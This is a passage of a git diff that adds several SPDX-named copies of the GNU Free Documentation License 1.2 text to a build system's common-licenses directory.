+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-no-invariants-only b/meta/files/common-licenses/GFDL-1.2-no-invariants-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-no-invariants-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-no-invariants-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-only b/meta/files/common-licenses/GFDL-1.2-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
